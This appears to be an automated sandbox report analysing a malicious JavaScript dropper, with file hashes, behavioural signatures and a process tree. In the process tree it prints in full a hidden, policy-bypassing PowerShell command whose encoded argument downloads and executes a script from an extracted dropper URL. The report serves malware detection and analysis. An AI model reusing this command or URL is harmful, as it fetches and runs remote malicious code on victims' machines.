Analysis

  • max time kernel
    137s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 19:20

General

  • Target

    a8960caa96c8e888c6efed104914db64.js

  • Size

    77KB

  • MD5

    a8960caa96c8e888c6efed104914db64

  • SHA1

    0592e706ea7ca3e0d6f7e5a25cd24daf37c3c643

  • SHA256

    1aafe1c0af3393daf07cdd2bbb49794b97363bed0c9669c2174ba57ccd7ad6be

  • SHA512

    935a650dec3c41c3832323b95c989f79358f27f83879d1a28e3d18c82012dc6a9f300dd171c95f11aaa8ff72c3d78c702f63200754d2ea0ff66eceb1dbbe04cd

  • SSDEEP

    1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oD:59Ry98guHVBqqg2bcruzUHmLKeMMU7G9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a8960caa96c8e888c6efed104914db64.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3380

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5mvrcsza.da0.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3380-10-0x00007FF996700000-0x00007FF9971C1000-memory.dmp

          Filesize

          10.8MB

        • memory/3380-11-0x000001799E7B0000-0x000001799E7C0000-memory.dmp

          Filesize

          64KB

        • memory/3380-12-0x000001799E7B0000-0x000001799E7C0000-memory.dmp

          Filesize

          64KB

        • memory/3380-13-0x00000179865F0000-0x0000017986612000-memory.dmp

          Filesize

          136KB

        • memory/3380-16-0x00007FF996700000-0x00007FF9971C1000-memory.dmp

          Filesize

          10.8MB